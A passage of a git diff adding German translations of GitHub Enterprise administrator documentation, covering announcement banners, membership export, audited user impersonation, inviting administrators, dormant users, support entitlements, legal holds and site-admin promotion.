+Jedes Mal, wenn ein Benutzer eine obligatorische Nachricht anzeigt, wird ein Überwachungsprotokollereignis erstellt. Das Ereignis enthält die Version der Nachricht, die der Benutzer angezeigt hat. Weitere Informationen findest du unter [Überwachungsprotokollereignisse für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise).
+
+{% ifversion display-mandatory-message-again %} {% else %} {% note %}
+
+**Hinweis:** Wenn du die obligatorische Nachricht für {% data variables.location.product_location %} änderst, wird Benutzern, die die Nachricht bereits bestätigt hatten, die neue Nachricht nicht angezeigt. 
+
+{% endnote %} {% endif %}
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.messages-tab %}
+1. Klicke rechts neben „Mandatory message“ (Obligatorische Nachricht) auf **Add message** (Nachricht hinzufügen).
+  ![Schaltfläche „Add mandatory message“ (Obligatorische Nachricht hinzufügen)](/assets/images/enterprise/site-admin-settings/add-mandatory-message-button.png)
+1. Gib unter „Mandatory message“ (Obligatorische Nachricht) im Textfeld deine Nachricht ein.
+  ![Screenshot des Textfelds für die obligatorische Meldung](/assets/images/enterprise/site-admin-settings/mandatory-message-text-box.png) {%- ifversion display-mandatory-message-again %} 
+1. Wähle optional **Aktuelle Meldung allen Benutzern anzeigen, auch wenn sie die vorherige Meldung geschlossen haben** aus.
+![Screenshot des Kontrollkästchens, das bei Aktivierung obligatorische Meldungen an alle Benutzer sendet](/assets/images/enterprise/site-admin-settings/push-mandatory-message-checkbox.png) {% endif %} {% data reusables.enterprise_site_admin_settings.message-preview-save %}
+
+{% endif %}
+
+{% ifversion ghes or ghae %}
+## Erstellen eines globalen Ankündigungsbanners
+
+Du kannst ein globales Ankündigungsbanner festlegen, das allen Benutzern oben auf jeder Seite angezeigt werden soll.
+
+{% ifversion ghae or ghes %} Du hast auch die Möglichkeit zum Festlegen eines Ankündigungsbanners{% ifversion ghes %} in der Verwaltungsshell mithilfe eines Befehlszeilenprogramms oder{% endif %} durch Verwendung der API. Weitere Informationen findest du unter {% ifversion ghes %}[Befehlszeilenprogramme](/enterprise/admin/configuration/command-line-utilities#ghe-announce) und {% endif %}[{% data variables.product.prodname_enterprise %}-Verwaltung](/rest/reference/enterprise-admin#announcements).
+{% else %}
+
+Du hast auch die Möglichkeit zum Festlegen eines Ankündigungsbanners in der Verwaltungsshell mithilfe eines Befehlszeilenprogramms. Weitere Informationen findest du unter [Befehlszeilenprogramme](/enterprise/admin/configuration/command-line-utilities#ghe-announce).
+
+{% endif %}
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.messages-tab %}
+1. {% ifversion ghes or ghae %}Klicke rechts neben{% else %}Klicke unter{% endif %} „Announcement“ (Ankündigung) auf **Add announcement** (Ankündigung hinzufügen).
+  ![Schaltfläche „Add announcement“ (Ankündigung hinzufügen)](/assets/images/enterprise/site-admin-settings/add-announcement-button.png)
+1. Gib unter „Announcement“ (Ankündigung) im Textfeld die Ankündigung ein, die in einem Banner angezeigt werden soll.
+  ![Textfeld zum Eingeben einer Ankündigung](/assets/images/enterprise/site-admin-settings/announcement-text-field.png)
+1. Wähle optional unter „Expires on“ (Ablaufdatum) das Dropdownmenü des Kalenders aus, und klicke auf ein Ablaufdatum.
+  ![Dropdownmenü „Kalender“ zum Auswählen des Ablaufdatums](/assets/images/enterprise/site-admin-settings/expiration-drop-down.png){% ifversion ghe-announce-dismiss %}
+1. Optional kannst du es den Benutzer*innen ermöglichen, die Ankündigung zu schließen. Aktiviere hierfür **Durch Benutzer schließbar**.
+
+   ![Screenshot: Kontrollkästchen „Durch Benutzer schließbar“](/assets/images/enterprise/site-admin-settings/user-dismissible-checkbox.png){% endif %} {% data reusables.enterprise_site_admin_settings.message-preview-save %} {% endif %}
diff --git a/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise.md b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise.md
new file mode 100644
index 0000000000..8d776ab1f1
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise.md
@@ -0,0 +1,30 @@
+---
+title: Exportieren von Mitgliedschaftsinformationen für dein Unternehmen
+intro: Du kannst Informationen über alle Mitglieder deines Unternehmens exportieren.
+versions:
+  feature: enterprise-member-csv
+topics:
+  - Enterprise
+shortTitle: Export membership information
+permissions: Enterprise owners can export membership information for an enterprise.
+ms.openlocfilehash: ba7519aae1b38cd629a46baeacd5edc9d138efdc
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106421'
+---
+{% note %}
+
+**Hinweis:** Die Funktion zum Export von Mitgliedsinformationen für ein Unternehmen befindet sich derzeit in der Betaphase, Änderungen vorbehalten.
+
+{% endnote %}
+
+Um zu überprüfen, welche Personen Zugriff auf die Ressourcen deines Unternehmens haben, kannst du einen CSV-Bericht mit den Mitgliedschaftsinformationen für dein Unternehmen herunterladen.
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %}
+1. Klicke rechts neben „Mitglieder“ auf **{% octicon "download" aria-label="The download icon" %} CSV-Bericht**.
+
+   - Wenn dein Unternehmen weniger als 1.000 Mitglieder umfasst, wird der Bericht sofort heruntergeladen.
+   - Wenn dein Unternehmen 1.000 oder mehr Mitglieder hat, erhältst du innerhalb kurzer Zeit eine E-Mail mit einem Link zum Download des Berichts.
+   ![Screenshot der Schaltfläche „CSV-Bericht“](/assets/images/help/business-accounts/csv-report-button.png)
diff --git a/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/impersonating-a-user.md b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/impersonating-a-user.md
new file mode 100644
index 0000000000..6837169a50
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/impersonating-a-user.md
@@ -0,0 +1,43 @@
+---
+title: Identitätswechsel für Benutzer*innen
+intro: 'Du kannst die Identität zu anderen Benutzer*innen wechseln und in ihrem Namen zur Problembehandlung, zum Aufheben von Sperren und aus anderen legitimen Gründen Aktionen durchführen.'
+permissions: Enterprise owners can impersonate users within their enterprise.
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Administrator
+  - Enterprise
+  - User account
+shortTitle: Impersonate a user
+ms.openlocfilehash: df0513c3ca2931378e656f228939540dd5ea5816
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109289'
+---
+## Informationen zu Identitätswechseln für Benutzer*innen
+
+Wenn du ein Benutzerkonto vorübergehend übernehmen musst (z. B. bei der Problembehandlung für diesen Benutzer oder wenn der Benutzer nicht verfügbar ist und dringende Maßnahmen erforderlich sind), kannst du eine Sitzung mit Identitätswechsel starten, um im Auftrag dieser Benutzer*innen zu agieren.
+
+Für jede Sitzung mit Identitätswechsel musst du einen Grund für den Identitätswechsel angeben. Eine solche Sitzung ist auf eine Stunde begrenzt. Du erhältst dabei denselben Zugriff wie der oder die Benutzer*in, für den bzw. die du den Identitätswechsel vollziehst.
+
+Aktionen, die du während einer Sitzung mit Identitätswechsel ausführst, werden als Ereignisse im Unternehmensüberwachungsprotokoll sowie im Sicherheitsprotokoll der imitierten Benutzer*innen aufgezeichnet. Die Person, zu deren Identität du wechselst, erhält eine E-Mail-Benachrichtigung, wenn die Sitzung mit Identitätswechsel gestartet wird. Weitere Informationen findest du unter [Ereignisse im Überwachungsprotokoll für dein Unternehmen](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/audit-log-events-for-your-enterprise) und [Überprüfen deines Sicherheitsprotokolls](/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log).
+
+## Identitätswechsel für Benutzer*innen
+
+{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.search-user %} {% data reusables.enterprise_site_admin_settings.click-user %}
+4. Klicke links oben auf der Seite auf **Benutzerinformationen**.
+
+   ![Benutzerinformationen](/assets/images/enterprise/stafftools/user-info.png)
+5. Klicke unter „Gefahrenzone“ auf **Als @username bei GitHub anmelden**.
+
+   ![Identität des Benutzers annehmen](/assets/images/enterprise/stafftools/impersonate.png)
+6. Wähle in der Dropdownliste einen Grund aus. Wenn du **Andere** auswählst, musst du im Abschnitt **Notizen** zusätzlichen Kontext bereitstellen. Klicke auf **Identitätswechsel starten**, um die Sitzung zu starten.
+
+   ![Grund für den Identitätswechsel](/assets/images/enterprise/stafftools/impersonation-reason.png)
+7. Wenn du fertig bist und die Sitzung mit Identitätswechsel beenden möchtest, klickst du oben auf der Seite auf das Banner **Zu normalem Benutzernamen zurück wechseln**.
+
+   ![Beenden eines Identitätswechsels](/assets/images/enterprise/stafftools/end-impersonation.png)
diff --git a/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/index.md b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/index.md
new file mode 100644
index 0000000000..7539d47866
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/index.md
@@ -0,0 +1,46 @@
+---
+title: Verwalten von Benutzer*innen in deinem Unternehmen
+intro: Du kannst Benutzeraktivitäten überwachen und Benutzereinstellungen verwalten.
+redirect_from:
+  - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise
+  - /enterprise/admin/guides/user-management/enabling-avatars-and-identicons
+  - /enterprise/admin/user-management/basic-account-settings
+  - /enterprise/admin/user-management/user-security
+  - /enterprise/admin/user-management/managing-users-in-your-enterprise
+  - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise-account/managing-users-in-your-enterprise-account
+  - /articles/managing-users-in-your-enterprise-account
+  - /articles/managing-users-in-your-enterprise
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - Enterprise
+children:
+  - /roles-in-an-enterprise
+  - /best-practices-for-user-security
+  - /inviting-people-to-manage-your-enterprise
+  - /promoting-or-demoting-a-site-administrator
+  - /managing-support-entitlements-for-your-enterprise
+  - /viewing-people-in-your-enterprise
+  - /exporting-membership-information-for-your-enterprise
+  - /viewing-and-managing-a-users-saml-access-to-your-enterprise
+  - /auditing-users-across-your-enterprise
+  - /impersonating-a-user
+  - /removing-a-member-from-your-enterprise
+  - /managing-dormant-users
+  - /suspending-and-unsuspending-users
+  - /placing-a-legal-hold-on-a-user-or-organization
+  - /auditing-ssh-keys
+  - /customizing-user-messages-for-your-enterprise
+  - /rebuilding-contributions-data
+shortTitle: Manage users
+ms.openlocfilehash: 763277882c2af96505c2a6d4c236c05475ab9f3f
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148008144'
+---
+
diff --git a/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md
new file mode 100644
index 0000000000..159f2e34bd
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise.md
@@ -0,0 +1,78 @@
+---
+title: Einladen von Personen zum Verwalten deines Unternehmens
+intro: 'Du kannst {% ifversion ghec %}Personen einladen, um Unternehmensinhaber*in oder Abrechnungsmanager*in zu werden.{% elsif ghes %}Füge Unternehmensinhaber*innen deinem{% endif %} Unternehmenskonto hinzu. Du kannst auch Unternehmensinhaber*innen {% ifversion ghec %}und Abrechnungsmanager*innen entfernen, {% endif %}die nicht mehr auf dein Unternehmenskonto zugreifen müssen.'
+permissions: 'Enterprise owners can {% ifversion ghec %}invite other people to become{% elsif ghes %}add{% endif %} additional enterprise administrators.'
+redirect_from:
+  - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise
+  - /github/setting-up-and-managing-your-enterprise-account/inviting-people-to-manage-your-enterprise-account
+  - /articles/inviting-people-to-collaborate-in-your-business-account
+  - /articles/inviting-people-to-manage-your-enterprise-account
+  - /github/setting-up-and-managing-your-enterprise/inviting-people-to-manage-your-enterprise
+versions:
+  ghec: '*'
+  ghes: '*'
+type: how_to
+topics:
+  - Administrator
+  - Enterprise
+  - User account
+shortTitle: Invite people to manage
+ms.openlocfilehash: 7cdbee6f1b37a8300f3523712c6e0dda4293af74
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146180447'
+---
+## Informationen zu Benutzer*innen, die dein Unternehmenskonto verwalten können
+
+{% data reusables.enterprise-accounts.enterprise-administrators %} Weitere Informationen findest du unter [Rollen in einem Unternehmen](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise).
+
+{% ifversion ghes %}
+
+Informationen zum Verwalten von Besitzer*innen und Rechnungs-Manager*innen für ein Unternehmenskonto auf {% data variables.product.prodname_dotcom_the_website %} findest du unter [Einladen von Personen zum Verwalten deines Unternehmens](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise) in der {% data variables.product.prodname_ghe_cloud %}-Dokumentation.
+
+{% endif %}
+
+{% ifversion ghec %}
+
+Wenn dein Unternehmen {% data variables.product.prodname_emus %} nutzt, können Unternehmensbesitzer*innen nur durch deinen Identitätsanbieter hinzugefügt oder entfernt werden. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users).
+
+{% endif %}
+
+{% tip %}
+
+**Tipp:** Weitere Informationen zum Verwalten von Benutzer*innen innerhalb einer Organisation, die sich im Besitz deines Unternehmenskontos befindet, findest du unter [Verwalten der Mitgliedschaft in deiner Organisation](/articles/managing-membership-in-your-organization) und [Verwalten des Zugriffs von Personen auf deine Organisation mithilfe von Rollen](/articles/managing-peoples-access-to-your-organization-with-roles).
+
+{% endtip %}
+
+## {% ifversion ghec %}Einladen{% elsif ghes %}Hinzufügen{% endif %} von Unternehmensadministrator*innen zu deinem Unternehmenskonto
+
+{% ifversion ghec %}Nachdem du eine Person zum Unternehmenskonto eingeladen hast, muss diese die E-Mail-Einladung annehmen, um auf das Unternehmenskonto zugreifen zu können. Ausstehende Einladungen laufen nach 7 Tagen ab.{% endif %}
+
+{% ifversion enterprise-membership-view-improvements %} Du kannst eine Liste aller ausstehenden Einladungen anzeigen, über die Personen Administrator*in deines Unternehmenskontos werden können. Weitere Informationen findest du unter [Anzeigen von Personen in deinem Unternehmen](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise#viewing-pending-invitations).
+{% endif %}
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} {% data reusables.enterprise-accounts.administrators-tab %}
+1. Klicke oberhalb der Administratorenliste auf {% ifversion ghec %}**Administrator*in einladen**{% elsif ghes %}**Besitzer*in hinzufügen**{% endif %}.
+  {% ifversion ghec %} ![Schaltfläche „Administrator*in einladen“ oberhalb der Liste der Unternehmensbesitzer*innen](/assets/images/help/business-accounts/invite-admin-button.png) {% elsif ghes %} ![Schaltfläche „Besitzer*in hinzufügen“ oberhalb der Liste der Unternehmensbesitzer*innen](/assets/images/help/business-accounts/add-owner-button.png) {% endif %}
+1. Gib den Benutzernamen, den vollständigen Namen oder die E-Mail-Adresse der Person ein, die du dazu einladen möchtest, Enterprise-Administrator zu werden. Wähle dann die gewünschte Person aus den Ergebnissen aus.
+  ![Modales Feld mit Feld für die Eingabe des Benutzernamens, vollständigen Namens oder der E-Mail-Adresse sowie Schaltfläche zum Einladen](/assets/images/help/business-accounts/invite-admins-modal-button.png){% ifversion ghec %}
+1. Wähle **Besitzer*in** oder **Rechnungs-Manager*in** aus.
+  ![Modales Feld mit Rollenauswahl](/assets/images/help/business-accounts/invite-admins-roles.png)
+1. Klicke auf **Einladung senden**.
+  ![Schaltfläche zum Senden der Einladung](/assets/images/help/business-accounts/invite-admins-send-invitation.png){% endif %}{% ifversion ghes %}
+1. Klicken Sie auf **Hinzufügen**.
+  ![Schaltfläche „Hinzufügen“](/assets/images/help/business-accounts/add-administrator-add-button.png){% endif %}
+
+## Einen Enterprise-Administrator aus deinem Enterprise-Konto entfernen
+
+Nur Enterprise-Inhaber können andere Enterprise-Administratoren aus dem Enterprise-Konto entfernen.
+
+{% ifversion ghec %} Wenn die*der zu entfernende Administrator*in Mitglied von Organisationen ist, die sich im Besitz des Unternehmens befinden, kannst du **In Mitglied konvertieren** auswählen, um die Administratorrolle zu entfernen und die Organisationsmitgliedschaft beizubehalten. Wenn sowohl die Administratorrolle als auch die Organisationsmitgliedschaft entfernt werden soll, wählst du **Aus Unternehmen entfernen** aus.
+{% endif %}
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} {% data reusables.enterprise-accounts.administrators-tab %}
+1. Klicke neben dem Benutzernamen der zu entfernenden Person auf {% octicon "gear" aria-label="The Settings gear" %} und dann auf {% ifversion ghes %}**Besitzer*in entfernen**{% elsif ghec %}**In Mitglied konvertieren** oder **Aus Unternehmen entfernen**.{% endif %}.
+  {% ifversion ghec %} ![Zahnradsymbol mit Menüoption zum Entfernen von Unternehmensadministrator*innen](/assets/images/help/business-accounts/remove-admin.png) {% elsif ghes %} ![Zahnradsymbol mit Menüoption zum Entfernen von Unternehmensadministrator*innen](/assets/images/help/business-accounts/ghes-remove-owner.png) {% endif %}
+1. Lies die Bestätigung, und klicke dann auf {% ifversion ghes %}**Besitzer*in entfernen**{% elsif ghec %}**Ja, BENUTZERNAME in Mitglied konvertieren**{% endif %}.
diff --git a/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md
new file mode 100644
index 0000000000..eef5eaf0fe
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/managing-dormant-users.md
@@ -0,0 +1,78 @@
+---
+title: Managing dormant users
+redirect_from:
+  - /enterprise/admin/articles/dormant-users
+  - /enterprise/admin/articles/viewing-dormant-users
+  - /enterprise/admin/articles/determining-whether-a-user-account-is-dormant
+  - /enterprise/admin/user-management/managing-dormant-users
+  - /admin/user-management/managing-dormant-users
+intro: '{% data reusables.enterprise-accounts.dormant-user-activity-threshold %}'
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Accounts
+  - Enterprise
+  - Licensing
+---
+
+{% ifversion ghec %}
+{% data reusables.enterprise-accounts.dormant-user-release-phase %}
+{% endif %}
+
+## About dormant users
+
+{% data reusables.enterprise-accounts.dormant-user-activity %}
+
+{% ifversion ghes or ghae%}
+## Viewing dormant users
+
+{% data reusables.enterprise-accounts.viewing-dormant-users %}
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+3. In the left sidebar, click **Dormant users**.
+![Dormant users tab](/assets/images/enterprise/site-admin-settings/dormant-users-tab.png){% ifversion ghes %}
+4. To suspend all the dormant users in this list, at the top of the page, click **Suspend all**.
+![Suspend all button](/assets/images/enterprise/site-admin-settings/suspend-all.png){% endif %}
+
+## Determining whether a user account is dormant
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.search-user %}
+{% data reusables.enterprise_site_admin_settings.click-user %}
+5. In the **User info** section, a red dot with the word "Dormant" indicates the user account is dormant, and a green dot with the word "Active" indicates the user account is active.
+![Dormant user account](/assets/images/enterprise/stafftools/dormant-user.png)
+![Active user account](/assets/images/enterprise/stafftools/active-user.png)
+
+## Configuring the dormancy threshold
+
+{% data reusables.enterprise_site_admin_settings.dormancy-threshold %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.policies-tab %}
+{% data reusables.enterprise-accounts.options-tab %}
+4. Under "Dormancy threshold", use the drop-down menu, and click the desired dormancy threshold.
+![The Dormancy threshold drop-down menu](/assets/images/enterprise/site-admin-settings/dormancy-threshold-menu.png)
+
+{% endif %}
+
+{% ifversion ghec %}
+## Downloading the dormant users report from your enterprise account
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.enterprise-accounts-compliance-tab %}
+1. To download your Dormant Users (beta) report as a CSV file, under "Other", click {% octicon "download" aria-label="The Download icon" %} **Download**.
+  ![Download button under "Other" on the Compliance page](/assets/images/help/business-accounts/dormant-users-download-button.png)
+
+{% tip %}
+
+**Tip:**
+For the purposes of assessing user dormancy, user activity is scoped to include only user activity associated with organizations, repositories, or sign-on events that are associated with the enterprise. For example, if a user has recently commented on an issue in a public repository not associated with the enterprise, they may be considered dormant. However, if they have recently commented on an issue in a public repository associated with an organization in your enterprise, they will not be considered dormant and will not appear in the Dormant User report.
+
+In the case of web sign-on events, only sign-on events through via an SSO domain associated with your enterprise are considered user activity associated with the enterprise.
+
+{% endtip %}
+
+{% endif %}
diff --git a/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md
new file mode 100644
index 0000000000..027407aa77
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md
@@ -0,0 +1,53 @@
+---
+title: Verwalten von Supportberechtigungen für dein Unternehmen
+intro: 'Du kannst Unternehmensmitgliedern die Möglichkeit geben, Supporttickets für dein Unternehmenskonto zu verwalten.'
+redirect_from:
+  - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise
+versions:
+  ghec: '*'
+topics:
+  - Enterprise
+  - Support
+shortTitle: Manage support entitlements
+ms.openlocfilehash: 8524a24204d2a476c1cd08a11b80e3675e1fc6f4
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145106652'
+---
+## Informationen zu Supportberechtigungen
+
+Personen mit Supportberechtigungen für dein Unternehmenskonto können im Supportportal Supporttickets öffnen, anzeigen und kommentieren, die dem Unternehmenskonto zugeordnet sind.
+
+Unternehmensbesitzer und Abrechnungsmanager haben automatisch eine Supportberechtigung. Unternehmensbesitzer können bis zu 20 zusätzlichen Mitgliedern von Organisationen, die im Besitz ihres Unternehmenskontos sind, Supportberechtigungen hinzufügen.
+
+## Hinzufügen einer Supportberechtigung zu einem Unternehmensmitglied
+
+{% note %}
+
+**Hinweis**: Nachdem du eine Supportberechtigung hinzugefügt hast, muss sich das Unternehmensmitglied möglicherweise abmelden und erneut anmelden, um Tickets zu verwalten.
+
+{% endnote %}
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %}
+3. Klicke unter „Einstellungen“ auf **Support**.
+![Menüelement „Support“](/assets/images/help/enterprises/settings-support.png)
+4. Beginne unter „Supportmitglied hinzufügen“ mit der Eingabe des Namens oder Benutzernamens der Person, der du eine Supportberechtigung erteilen möchtest. Klicke in der Liste der Übereinstimmungen auf ihren Namen.
+![Hinzufügen der Suche nach der Supportberechtigung](/assets/images/help/enterprises/settings-support-entitlement-search.png)
+5. Klicke auf **Supportberechtigung hinzufügen**.
+![Schaltfläche „Supportberechtigung hinzufügen“](/assets/images/help/enterprises/settings-support-add-entitlement.png)
+
+## Entfernen einer Supportberechtigung von einem Unternehmensmitglied
+
+Du kannst eine Supportberechtigung von einem Unternehmensmitglied entfernen. Du kannst eine Supportberechtigung nicht von Unternehmensbesitzern oder Abrechnungsmanagern entfernen.
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %}
+3. Klicke in der Randleiste unter „Einstellungen“ auf **Support**.
+![Menüelement „Support“](/assets/images/help/enterprises/settings-support.png)
+4. Klicke unter „Supportmitglieder“ rechts neben der Person, von der du eine Supportberechtigung entfernen möchtest, auf {% octicon "trash" aria-label="The trash icon" %}.
+![Entfernen der Supportberechtigung](/assets/images/help/enterprises/settings-support-remove-entitlement.png)
+
+## Weitere Informationsquellen
+
+- [Arbeiten mit dem GitHub-Support](/github/working-with-github-support)
diff --git a/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/placing-a-legal-hold-on-a-user-or-organization.md b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/placing-a-legal-hold-on-a-user-or-organization.md
new file mode 100644
index 0000000000..0f7ce8c262
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/placing-a-legal-hold-on-a-user-or-organization.md
@@ -0,0 +1,29 @@
+---
+title: Gesetzliche Aufbewahrungspflicht für einen Benutzer oder für eine Organisation festlegen
+intro: 'Du kannst eine gesetzliche Aufbewahrungspflicht für einen Benutzer oder für eine Organisation festlegen, um sicherzustellen, dass die ihm oder ihr gehörenden Repositorys nicht dauerhaft aus Ihrem Unternehmen gelöscht werden können.'
+redirect_from:
+  - /enterprise/admin/user-management/placing-a-legal-hold-on-a-user-or-organization
+  - /admin/user-management/placing-a-legal-hold-on-a-user-or-organization
+versions:
+  ghes: '*'
+  ghae: '*'
+type: how_to
+topics:
+  - Accounts
+  - Auditing
+  - Enterprise
+  - Organizations
+  - User account
+shortTitle: Place a legal hold
+ms.openlocfilehash: 5837bfcd05867ed5be7e298996bb0de2680b4921
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146199945'
+---
+Wenn ein Repository gelöscht wird, bleibt es in der Regel 90 Tage lang weiterhin auf der Disk und kann über das Websiteadministrator-Dashboard wiederhergestellt werden. Nach 90 Tagen wird das Repository bereinigt und dauerhaft gelöscht. Wenn du eine gesetzliche Aufbewahrungspflicht für einen Benutzer oder für eine Organisation festlegst, können die ihm oder ihr gehörenden Repositorys auf unbestimmte Zeit wiederhergestellt werden.
+
+{% data reusables.enterprise_site_admin_settings.sign-in %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.search-user-or-org %} {% data reusables.enterprise_site_admin_settings.click-user-or-org %} {% data reusables.enterprise_site_admin_settings.admin-top-tab %} {% data reusables.enterprise_site_admin_settings.admin-tab %}
+5. Klicke auf **Gesetzliche Aufbewahrungspflicht festlegen**.
+![Schaltfläche „Gesetzliche Aufbewahrungspflicht festlegen“](/assets/images/enterprise/site-admin-settings/place-legal-hold-button.png)
diff --git a/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md
new file mode 100644
index 0000000000..827ed6e859
--- /dev/null
+++ b/translations/de-DE/content/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator.md
@@ -0,0 +1,64 @@
+---
+title: Websiteadministrator hoch- oder zurückstufen
+redirect_from:
+  - /enterprise/admin/articles/promoting-a-site-administrator
+  - /enterprise/admin/articles/demoting-a-site-administrator
+  - /enterprise/admin/user-management/promoting-or-demoting-a-site-administrator
+  - /admin/user-management/promoting-or-demoting-a-site-administrator
+intro: Websiteadministrator*innen können normale Benutzerkonten auf einen Websiteadministrator hochstufen und andere Websiteadministrator*innen auf normale Benutzer*innen zurückstufen.
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Access management
+  - Accounts
+  - User account
+  - Enterprise
+shortTitle: Manage administrators
+ms.openlocfilehash: 19daa56cf7d750d69495a6ff52655784411f56ff
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '146331696'
+---
+{% tip %}
+
+**Hinweis:** Wenn die [LDAP-Synchronisierung aktiviert ist](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync) und das `Administrators group`-Attribut beim [Konfigurieren des LDAP-Zugriffs für Benutzer](/enterprise/admin/authentication/using-ldap#configuring-ldap-with-your-github-enterprise-server-instance) festgelegt wird, verfügen diese Benutzer automatisch über Websiteadministratorzugriff auf deine Instanz. In diesem Fall ist es nicht möglich, Benutzer*innen mit den folgenden Schritten manuell hochzustufen. Du musst sie zur Gruppe mit den LDAP-Administrator*innen hinzufügen.
+
+{% endtip %}
+
+Informationen zum Hochstufen eines Benutzers zum Organisationsbesitzer findest du im `ghe-org-admin-promote`-Abschnitt von [Befehlszeilenprogramme](/enterprise/admin/guides/installation/command-line-utilities#ghe-org-admin-promote).
+
+## Benutzer über die Enterprise-Einstellungen hochstufen
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.people-tab %} {% data reusables.enterprise-accounts.administrators-tab %}
+5. Klicke in der oberen rechte Ecke der Seite auf **Besitzer hinzufügen**.
